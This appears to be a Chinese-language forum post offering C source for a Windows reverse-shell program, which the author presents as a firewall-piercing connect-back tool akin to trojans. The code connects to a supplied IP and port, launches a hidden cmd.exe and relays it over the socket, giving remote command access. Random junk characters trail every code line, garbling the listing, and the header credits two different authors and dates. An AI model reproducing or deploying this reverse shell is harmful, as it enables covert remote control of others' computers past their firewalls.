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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  tBq nf v  
\>jLRb|7Ts  
/* ============================== y.e^hRKb  
Rebound port in Windows NT o<<xY<  
By wind,2006/7 ohFJZ'  
===============================*/ F~%]6^$w  
#include [Sr,h0h6  
#include 8YZbP5'  
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#pragma comment(lib,"wsock32.lib") A )^`?m3  
GN ]cDik  
void OutputShell(); ]ndvt[4L  
SOCKET sClient; 9xO#tu]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $ACvV "b  
y4t7`-,~  
void main(int argc,char **argv) |X0Y-  
{ SSz~YR^}Sr  
WSADATA stWsaData; bvv|;6  
int nRet; xC*6vH]?  
SOCKADDR_IN stSaiClient,stSaiServer; T*#/^%HSG  
@ zs'Y8  
if(argc != 3) ^T ?RK "p  
{ U]^HjfX\  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8TGOx%}i  
return; DF1I[b=]  
} SH_(rQby  
zm]aU`j  
WSAStartup(MAKEWORD(2,2),&stWsaData); /tP|b _7O  
 :rHJ4Tl  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); J8S'/y(LE<  
U7 `A497Z  
stSaiClient.sin_family = AF_INET; yRSTk2N@  
stSaiClient.sin_port = htons(0); biSz?DJ>  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); MaRi+3F  
zo+nq%=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [q/Abz'i  
{ H<v'^*(  
printf("Bind Socket Failed!\n"); rqdE6y+^  
return; kSR\RuY*  
} 8Eakif0CO  
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stSaiServer.sin_family = AF_INET; 12;8o<~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2_n7=&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lz YEx  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n#q<`}u,  
{ *pAV2V(!23  
printf("Connect Error!"); :bz}c48%  
return; [z9 `)VIe  
} "}pNe"ok  
OutputShell(); \hBG<nH{0  
} NdL,F;^  
62O.?Ij  
void OutputShell() 7B!x T2{T  
{ k"NVV$;  
char szBuff[1024]; 7NDr1Z#B6V  
SECURITY_ATTRIBUTES stSecurityAttributes; 3gv|9T  
OSVERSIONINFO stOsversionInfo; ]z l [H7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9cf:pXMi  
STARTUPINFO stStartupInfo; @!`Xl*l  
char *szShell; }dp=?AFg  
PROCESS_INFORMATION stProcessInformation; 2.%.Z_k)  
unsigned long lBytesRead; =R#Qx,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {$R' WXVs  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); i'9vL:3  
stSecurityAttributes.lpSecurityDescriptor = 0; ~~v3p>zRr  
stSecurityAttributes.bInheritHandle = TRUE; m=}B,']O  
`Jzp Sw  
^r*r w=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +)y^ 'Qs  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); { jhr<  
VY~yg*  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +6';1Nb@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vH#huZA?7  
stStartupInfo.wShowWindow = SW_HIDE; g=;%  
stStartupInfo.hStdInput = hReadPipe; #=6E\&NC  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W}5xmz  
kL$!E9  
GetVersionEx(&stOsversionInfo); B?4boF?~  
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switch(stOsversionInfo.dwPlatformId) >N]7IU[-  
{ 95YL]3V  
case 1: %] >KvoA  
szShell = "command.com";  /% M/  
break; @^T1XX  
default: _~piZmkG$  
szShell = "cmd.exe"; 5\e9@1Rc  
break; "tB;^jhRs  
} JKGc3j,+#  
Vm3v-=6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rd9e \%A  
$4/yZaVb  
send(sClient,szMsg,77,0); MhR:c7,  
while(1) *.!Np9l,V  
{ .Yf:[`Q6g  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); VxVE  
if(lBytesRead)  #`o2Z  
{ #)C[5?{SNq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ||;hci O  
send(sClient,szBuff,lBytesRead,0); D|Q#gcWpo  
} ,6om\9.E@  
else 3wC' r  
{ :.$3vaZ@  
lBytesRead=recv(sClient,szBuff,1024,0); O*0l+mop  
if(lBytesRead<=0) break; YhDtUt}?  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8=gjY\Dp  
} sOU1n  
} !"\80LP  
J[4mL U  
return; K#pNe c  
}
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